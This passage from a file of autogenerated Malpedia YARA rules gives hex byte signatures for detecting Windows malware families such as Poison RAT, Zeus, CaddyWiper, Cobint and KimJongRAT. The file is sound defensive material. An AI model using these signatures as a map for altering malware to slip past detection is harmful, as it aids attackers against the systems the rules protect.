		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poison_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poison_rat_auto.yar#L1-L113"
		license_url = "N/A"
		logic_hash = "3e3b3a6380a6de226db390b398cafc3338e9d953c2f6c73b523494bf22932b99"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f3ab 6810270000 8d8dc4d5ffff 6a01 }
		$sequence_1 = { 83e61f 8b048580c54000 8b04f0 83f8ff }
		$sequence_2 = { 33f3 8bf9 8930 8bf1 c1ef10 c1e908 }
		$sequence_3 = { 33d7 8b7c2414 c1ef18 8b3cbd30984000 }
		$sequence_4 = { 8ac8 80c120 888840b34000 eb1f 83f861 }
		$sequence_5 = { 8bd3 c1ea18 c1ed10 8b149530984000 }
		$sequence_6 = { 331c9530984000 8bd7 81e2ff000000 331c9530a44000 8b10 }
		$sequence_7 = { 8bd9 c1eb18 895c2420 8bdf 8b7c2420 c1eb10 }
		$sequence_8 = { 8a6e08 8a4e09 c1e108 0bca 33d2 8a560b }
		$sequence_9 = { 330c9530a04000 8bd5 81e2ff000000 81e3ff000000 c1ed18 }
	condition:
		7 of them and filesize < 101688
}

rule MALPEDIA_Win_Calmthorn_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cf990769-6e13-5a67-bc05-b21c727d36bf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.calmthorn"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.calmthorn_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "a1bc3f3172ae049034dbbb2cc969035914c9181e535af50f1d71d6e16050356b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb1e 8b95e42fffff 83c201 8b85e82fffff 83d000 8995e42fffff 8985e82fffff }
		$sequence_1 = { ebba 0fb68d2cfdffff 83f901 7552 c785a0c2ffff00000000 eb0f 8b95a0c2ffff }
		$sequence_2 = { ebba 0fb695a6fdffff 83fa01 7553 0f57c0 660f13858498ffff eb1e }
		$sequence_3 = { e8???????? 83c404 398524ecffff 7d20 8b85e4eeffff 83c001 8985e4eeffff }
		$sequence_4 = { ebba 0fb69568fdffff 83fa01 7552 c785e4e2ffff00000000 eb0f 8b85e4e2ffff }
		$sequence_5 = { ebba 0fb68d3ffdffff 83f901 7553 0f57c0 660f1385bc4dffff eb1e }
		$sequence_6 = { e8???????? 83c404 39855cdeffff 7d20 8b8df4f7ffff 83c101 898df4f7ffff }
		$sequence_7 = { eb02 ebba 0fb68d16fdffff 83f901 7556 0f57c0 660f13859423ffff }
		$sequence_8 = { ebbb 0fb68d33fdffff 83f901 7552 c785fcc4ffff00000000 eb0f 8b95fcc4ffff }
		$sequence_9 = { 8b8d5c1bffff 83c101 8b95601bffff 83d200 898d5c1bffff 8995601bffff 83bd601bffffff }
	condition:
		7 of them and filesize < 2322432
}

rule MALPEDIA_Win_Saint_Bot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9b3de383-83bb-59eb-ab8e-cf55885e5316"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.saint_bot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.saint_bot_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "c120f50dc769e408884483c5952b8e78bb4b0a03aaa97a8ecb7b623ae2701d23"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 53 ff15???????? 6800018000 eb11 6a50 }
		$sequence_1 = { 668975d4 8d4508 33f6 c745b418000000 683f000f00 50 }
		$sequence_2 = { 3d2b040000 7415 3d3f040000 740e }
		$sequence_3 = { 8945f8 e8???????? 68???????? 8945f0 }
		$sequence_4 = { 56 ff15???????? ff15???????? 3db7000000 741c }
		$sequence_5 = { 58 6a6e 668945f0 58 6a74 668945f2 }
		$sequence_6 = { 6a00 56 68???????? 53 ff15???????? 8bf0 }
		$sequence_7 = { 897dec 897df8 ffd6 6808020000 57 8bd8 ffd6 }
		$sequence_8 = { ff75dc ffd6 ff75d4 ffd6 e8???????? }
		$sequence_9 = { ffd6 ff75f0 ffd6 ff75f4 ffd6 ff75f8 ffd6 }
	condition:
		7 of them and filesize < 93184
}

rule MALPEDIA_Win_Roseam_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d66e57df-f9e1-5b6e-89cb-6ce661f1848e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roseam"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.roseam_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "49c65990e1943387e5f2f0be33c8622a534714937967ee32ce82db7fba5361e7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 5d c3 8d4db8 c60200 51 }
		$sequence_1 = { 33c9 66894304 66894b06 50 68???????? }
		$sequence_2 = { 0f8682000000 66833b20 747c 56 }
		$sequence_3 = { 9d 5d 8b45f8 85c0 0f84db000000 }
		$sequence_4 = { 41 40 894dfc 8945f8 68???????? 50 9c }
		$sequence_5 = { 58 58 8b45bc 48 7409 83e803 0f854c010000 }
		$sequence_6 = { 8d85f4fcffff 8a10 8a1e 8aca 3ad3 751e 84c9 }
		$sequence_7 = { 803a2e 740c 8a4201 42 }
		$sequence_8 = { c7451800000000 84c0 7478 68???????? 50 }
		$sequence_9 = { b9ff000000 33c0 8dbdf1f7ffff 8895f0f7ffff 8b1e f3ab }
	condition:
		7 of them and filesize < 221184
}

rule MALPEDIA_Win_Miniblindingcan_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2e31c245-b31c-5b1f-badb-b374294b1a0c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miniblindingcan"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miniblindingcan_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "f1bc6c8d1c138b9d3da736626c3c3e7c154dc57584230d14e9675b4385ae575b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 81fbba470000 7513 488d0511350000 488905???????? e9???????? 81fb63450000 }
		$sequence_1 = { 488bc6 488d1523dd0100 83e11f 48c1f805 486bc958 48030cc2 eb07 }
		$sequence_2 = { 48893d???????? eb1b 488b0d???????? 488d15bf980100 ff15???????? 488905???????? 4183fc0a }
		$sequence_3 = { 7478 488b03 83e20f 488907 488b4308 4803de 48894708 }
		$sequence_4 = { 8bc0 41890c86 498b0c24 490fafc8 48c1e934 8bc9 418b048e }
		$sequence_5 = { 8d4af3 ff15???????? 41be4c000000 498bcf 488bd0 458bc6 488be8 }
		$sequence_6 = { 488b8a50000000 e9???????? 4055 4883ec40 488bea 488d4540 4889442430 }
		$sequence_7 = { b835000000 0f05 c3 4c8bd1 b836000000 0f05 }
		$sequence_8 = { 448bc7 488bce 488bd0 4c8be0 e8???????? 3bc5 7412 }
		$sequence_9 = { 488b4c2458 c744244802000000 488d442454 4889442440 }
	condition:
		7 of them and filesize < 453632
}

rule MALPEDIA_Win_Zeus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a7137ca7-f65f-570e-b179-06b94ad7a971"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_auto.yar#L1-L225"
		license_url = "N/A"
		logic_hash = "3d703221ad7e27ff4fc081759a0590d4715ffa458d7987388aee7eef0fc141ff"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb58 833f00 7651 8b5f08 }
		$sequence_1 = { 8d461c 50 8d45f0 50 e8???????? 6a10 8d460c }
		$sequence_2 = { 8d461c 50 8d460c 50 e8???????? }
		$sequence_3 = { 8d440810 8bc8 2bca 8b12 }
		$sequence_4 = { 8d460c 8d4df0 e8???????? f7d8 1ac0 fec0 c9 }
		$sequence_5 = { 85c0 7438 83600400 8918 8b4e08 }
		$sequence_6 = { 8906 85ff 760c 8b550c }
		$sequence_7 = { 83f801 7516 51 e8???????? }
		$sequence_8 = { 8bf3 6810270000 ff35???????? ff15???????? }
		$sequence_9 = { 891d???????? 891d???????? ffd6 68???????? }
		$sequence_10 = { e8???????? 84c0 7442 6a10 }
		$sequence_11 = { 8d8db0fdffff e8???????? 8ad8 84db }
		$sequence_12 = { c20400 55 8bec f6451802 }
		$sequence_13 = { ff15???????? 5e 8ac3 5b c20800 55 }
		$sequence_14 = { b364 6a14 eb18 81fb5a5c4156 }
		$sequence_15 = { 8d470c 50 c707000e0000 c7470809080002 e8???????? 83674200 6a78 }
		$sequence_16 = { 3509080002 3d5c5b4550 740b 3d59495351 0f85ca000000 807b0420 0f85c0000000 }
		$sequence_17 = { 0f873d020000 83fe06 0f86e3000000 8b03 3509080002 3d5c5b4550 740b }
		$sequence_18 = { 68???????? 6809080002 8bc6 50 8d45fc }
		$sequence_19 = { 56 68???????? ff750c 51 ff7508 ff15???????? 8bf8 }
		$sequence_20 = { 8d75a8 b8d5000000 e8???????? 68e6010000 68???????? 6809080002 }
		$sequence_21 = { 6813270000 6a04 5b 8bc6 c745f809080002 e8???????? 8ad8 }
		$sequence_22 = { 807b0244 7429 83fe04 0f82ec000000 8b1b 81f309080002 }
	condition:
		7 of them and filesize < 319488
}

rule MALPEDIA_Win_Tempedreve_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "2db2cfb5-7120-5d3b-b0b8-3bdd15ee2814"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tempedreve"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tempedreve_auto.yar#L1-L163"
		license_url = "N/A"
		logic_hash = "81da1ba35c5682d2618815158fab067de40d7a4b67ee1d7e4df00dcd82c55387"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 663bfb 7407 663b7c2448 7520 0fb77804 }
		$sequence_1 = { 8d5602 03d1 e9???????? 807dfe80 751e 8a4101 24f8 }
		$sequence_2 = { 83c40c ab 55 8d84247c0e0000 50 }
		$sequence_3 = { 0f85c8020000 0fb74314 55 56 0fb77306 }
		$sequence_4 = { 740e 80fb12 7511 8a4101 24c0 }
		$sequence_5 = { 8a1c1e 8d42d0 46 32c9 3c09 }
		$sequence_6 = { 015308 f7d0 0bc2 33c6 }
		$sequence_7 = { ff743bfc 8bcb ff743bf8 e8???????? }
		$sequence_8 = { 0f85c9000000 8b542430 3bda 7320 8d4d02 }
		$sequence_9 = { c0e801 7434 83d102 89c5 }
		$sequence_10 = { 2bc8 894c2414 3b4c242c 0f8738010000 8b4c2410 }
		$sequence_11 = { c1e903 8d440140 c20400 8b44240c }
		$sequence_12 = { d1c0 33c7 0fb6b90130cb00 d1c0 }
		$sequence_13 = { 3a1429 8b4c2414 bb02000000 740c 3b8e24040000 0f85c9000000 }
		$sequence_14 = { 0f846b010000 83ff01 0f8650010000 8b542454 8bcf 2bcb 8d0411 }
		$sequence_15 = { f7d0 8944241c 61 c20800 60 8b742424 }
	condition:
		7 of them and filesize < 155648
}

rule MALPEDIA_Win_Kimjongrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4b926698-de48-5e8a-8566-c17b49269158"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kimjongrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kimjongrat_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "da574ab8eb91cef15d29c514535c9dc879faba86aa4b2abebc3c50264b62c499"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb13 ff37 6a00 ff771c 52 ff7508 e8???????? }
		$sequence_1 = { 85c9 740e 51 50 e8???????? 83c408 0bf8 }
		$sequence_2 = { e9???????? c6840decfbffff64 e9???????? c6840decfbffff70 e9???????? c6840decfbffff73 e9???????? }
		$sequence_3 = { c6840db0abffff29 e9???????? c6840db0abffff3b e9???????? c6840db0abffff2b e9???????? c6840db0abffff3e }
		$sequence_4 = { 8b43e8 0343e4 8943cc e9???????? 8d4304 50 8d73d4 }
		$sequence_5 = { 8bd7 85d2 7464 8b4d08 8b4908 8b491c 8b4910 }
		$sequence_6 = { beff1f0000 6685700c 8b75c8 741c 6a00 52 57 }
		$sequence_7 = { 8b5d08 807b4201 0f859d000000 8a5340 f6c202 0f8491000000 8b4b10 }
		$sequence_8 = { e9???????? 6a01 ff73b4 57 e8???????? ff73c4 ff73f4 }
		$sequence_9 = { e8???????? 8b5d10 53 6a00 6a4f ff75f8 8bf8 }
	condition:
		7 of them and filesize < 1572864
}

rule MALPEDIA_Win_Slip_Screen_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ad9c8d39-15d3-5df8-9251-a49652741d85"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slip_screen"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slip_screen_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "dad34e4a0f7996ab63085bce3884e3e4048e2436bb6df0518e66ce50f19fbbe3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb0c 4881c7e8000000 4885f6 7405 488bce ff17 4d85f6 }
		$sequence_1 = { 4885c9 0f8498000000 4863413c 4533db 448b8c0888000000 }
		$sequence_2 = { 48898798000000 4885c0 0f8462020000 41b8ce48ccfd 8bd6 488bcb }
		$sequence_3 = { 7447 410fb702 6685c0 7438 8d4abf 6683f919 448d4220 }
		$sequence_4 = { eb02 33c0 4c8d9c2490040000 498b5b28 498b6b30 }
		$sequence_5 = { 4903c1 4d8bc8 488bc8 48c1e020 48c1e920 480bc8 0fb7c1 }
		$sequence_6 = { 0f1000 0f1145c4 f20f104810 f20f114dd4 8b4018 8945dc }
		$sequence_7 = { 488b8100010000 4885c0 7403 f0ff00 488d4138 41b806000000 488d1547960000 }
		$sequence_8 = { 488bd0 48c1e020 48c1ea20 480bd0 0fb7c2 6633443bfa }
		$sequence_9 = { 0fafca 4403c9 440fafc8 458bc1 440fafc0 428d0c0a }
	condition:
		7 of them and filesize < 282624
}

rule MALPEDIA_Win_Caddywiper_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3bfe4656-7095-5bf1-a220-b7990a8e8540"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.caddywiper"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.caddywiper_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "1d17e07981d8c6c1b9158309889ffc1ea6f49825b4f9491b9319c2fdd5793cb7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c645af55 c645b073 c645b165 c645b272 c645b373 c645b400 }
		$sequence_1 = { 33c0 eb69 c78564ffffff01000000 8b55a8 899568ffffff }
		$sequence_2 = { c685b6fbffff65 c685b7fbffff00 c685b8fbffff72 c685b9fbffff00 c685bafbffff6e c685bbfbffff00 }
		$sequence_3 = { 33c0 eb13 ff55b4 3d14050000 7504 }
		$sequence_4 = { c68597feffff00 c68598feffff70 c68599feffff00 c6859afeffff69 c6859bfeffff00 c6859cfeffff33 }
		$sequence_5 = { 0f85fe000000 8b55f4 8b4210 8945f0 }
		$sequence_6 = { c685b8feffff72 c685b9feffff69 c685bafeffff74 c685bbfeffff79 c685bcfeffff49 }
		$sequence_7 = { 85d2 7421 8b4508 0345f4 8a4dfb }
		$sequence_8 = { c745fc00000000 c68538ffffff43 c68539ffffff6c c6853affffff6f c6853bffffff73 }
		$sequence_9 = { 83ec70 c745f800000000 c745ec00000000 64a130000000 }
	condition:
		7 of them and filesize < 33792
}

rule MALPEDIA_Win_Longwatch_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ce0e9c11-46ca-5532-8823-1deb885f5c74"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.longwatch"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.longwatch_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "9dae6296ff953841361d58c7b1fa7eff6214a00cb7112d7c5966dd21deae5ffb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83fb12 741e 83fb03 7419 }
		$sequence_1 = { 8b4004 c74410e8a0bb4200 8b42e8 8b4804 8d41e8 894411e4 }
		$sequence_2 = { 750b 8b0d???????? e8???????? e8???????? 83ec18 }
		$sequence_3 = { 8d8d48ffffff 68???????? e8???????? 85c0 8d8d30ffffff 8b8530ffffff }
		$sequence_4 = { 33f6 3bc8 740c 8b0cb5f8344200 46 }
		$sequence_5 = { e8???????? 83ec14 c645fc02 8bcc 8bd0 51 }
		$sequence_6 = { c705????????01000000 c705????????01000000 6a04 58 6bc000 8b4d08 898894004300 }
		$sequence_7 = { eb0f 8ad3 8d8d40ffffff e8???????? 8ad3 }
		$sequence_8 = { 1bc0 83c801 85c0 745b e8???????? }
		$sequence_9 = { 8d8d48ffffff c78548ffffffdc334200 e8???????? 83ec08 c745fc02000000 }
	condition:
		7 of them and filesize < 647168
}

rule MALPEDIA_Win_Soul_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e9dd6236-3340-50b4-b5d0-39eff17887cc"
		date = "2024-10-31"
		modified = "2024-11-11"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soul"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.soul_auto.yar#L1-L235"
		license_url = "N/A"
		logic_hash = "006ca2db66b727a223c7e1c69f1643e1ec1c7be66a86b7b95f1d15a0130986f8"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20241030"
		malpedia_hash = "26e26953c49c8efafbf72a38076855d578e0a2e4"
		malpedia_version = "20241030"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { d3e2 8515???????? 7405 e8???????? }
		$sequence_1 = { 40 803800 75f8 c745fc00000000 90 56 ff15???????? }
		$sequence_2 = { 57 8bf8 be???????? 743a 8da42400000000 }
		$sequence_3 = { ff25???????? 48895c2408 4889742410 57 4883ec30 }
		$sequence_4 = { 7cde c745fc00000000 8da42400000000 8b4df8 51 57 }
		$sequence_5 = { 741f 8da42400000000 8b03 57 50 }
		$sequence_6 = { 85f6 0f84a4000000 803f00 8bc7 }
		$sequence_7 = { 85f6 7506 837dfc04 7cda }
		$sequence_8 = { 7409 90 fe08 40 803800 }
		$sequence_9 = { 83c404 33f6 897304 8b4304 }
		$sequence_10 = { eb22 e8???????? 488b4c2420 ffd0 90 48837c245008 }
		$sequence_11 = { c744243a66003600 66448974243e 488d1d4ad10100 488bc3 488d7c2448 482bfb 0fb710 }
		$sequence_12 = { ffc7 4883c202 413bf8 72db 8bce 85f6 743c }
		$sequence_13 = { 7507 c743089a020000 85c0 0f84be010000 83f802 0f84b5010000 83f801 }
		$sequence_14 = { 741a 488d05f9ef0000 483bf8 740e 833f00 }
		$sequence_15 = { 4c8bf1 b801000000 85ff 7404 8932 eb06 8bf8 }
		$sequence_16 = { c745c047006c00 c745c662006100 c745ca6c005c00 668945ec c745ce43006100 c745d468006500 }
		$sequence_17 = { 442bda 4183fb0f 731e 0fb606 418bcb 4883c602 }
		$sequence_18 = { e8???????? 41894620 458bef 418bff 41c74608373f0000 eb05 }
		$sequence_19 = { 488b4593 89442448 8bc8 e8???????? 488bf0 33c0 8945c7 }
		$sequence_20 = { 4883eb02 4983c9ff ebae 488d45ef 4c8b4507 4983f808 490f43c4 }
		$sequence_21 = { eb2e 4c8b542418 33ed 0f1f840000000000 420fb60411 48ffc1 }
		$sequence_22 = { 488d1dc7850000 488d3de0850000 eb0e 488b03 4885c0 7402 }
	condition:
		7 of them and filesize < 1400832
}

rule MALPEDIA_Win_Cobint_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "eb358b61-4ba2-55a7-8a20-31d71cd4f25b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cobint"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cobint_auto.yar#L1-L232"
		license_url = "N/A"
		logic_hash = "a45731be84e3fdba6ba2e9fa2e98a6d98c16a2eb8dae8c7026872152dd218ff0"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c418 a1???????? 03c9 891cc8 8b0d???????? a1???????? }
		$sequence_1 = { 891cc8 8b0d???????? a1???????? 03c9 8974c804 8b0d???????? }
		$sequence_2 = { c745f404000000 50 8d4508 50 6805000020 56 }
		$sequence_3 = { 50 8d45f4 50 8d45ec 50 6813000020 ff75f0 }
		$sequence_4 = { 57 6a65 eb31 85db 743a }
		$sequence_5 = { e8???????? 83c410 eb60 6a01 8d450f }
		$sequence_6 = { 57 bf00020000 57 e8???????? 57 6a00 }
		$sequence_7 = { 83f820 7cf3 eb07 8bf0 c1e604 03f2 57 }
		$sequence_8 = { 740d 8b5508 0355f0 8a45ec }
		$sequence_9 = { 31b7807c30ae 807c909090 90 bdfd807c90 }
		$sequence_10 = { 8bcb 897db8 e8???????? 8bf0 }
		$sequence_11 = { 81ffea968891 740a 33c0 8b12 85d2 }
		$sequence_12 = { ffd6 eb03 8b75e4 ff75d8 ffd6 }
		$sequence_13 = { 395318 763c 8b3c90 33c0 03fe }
		$sequence_14 = { 90 90 90 e10b }
		$sequence_15 = { b800a80000 2bc7 50 56 53 ff55f8 85c0 }
		$sequence_16 = { 8802 eb0b 8b4d08 034df0 }
		$sequence_17 = { bffc807c28 1a807c170e81 7cd7 9b 807c909090 90 90 }
		$sequence_18 = { 749b 807ce19a80 7c90 90 }
		$sequence_19 = { 90 e10b 96 7c90 90 }
		$sequence_20 = { bab1c50790 8bf0 33ff e8???????? 8d4dec 8945f8 }
		$sequence_21 = { ffd0 85c0 0f8406010000 8b4de0 ba6a62f095 }
		$sequence_22 = { e8???????? 8945f8 8d45c4 50 }
		$sequence_23 = { e8???????? 58 83c005 c3 31b7807c30ae }
	condition:
		7 of them and filesize < 65536
}

rule MALPEDIA_Win_Locky_Decryptor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "91dde92f-87a2-5234-b407-3d3ed8c90b2f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky_decryptor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.locky_decryptor_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "adead49efcae5adc3a8d7fcf047561cadce25b6fc8d50f573c5cccce259fe79f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 03049500c14100 eb05 b8???????? f6400420 }
		$sequence_1 = { 7202 8b1b 837dec08 8b4dd8 7303 8d4dd8 03c0 }
		$sequence_2 = { 395ddc 7413 837de008 8b45cc 7303 }
		$sequence_3 = { 8bf7 83e61f c1e606 03348500c14100 }
		$sequence_4 = { 8b4dfa 33c0 4a 49 668945e8 668945ea 6a27 }
		$sequence_5 = { 50 33c9 8d7d08 8975f0 e8???????? 83cbff }
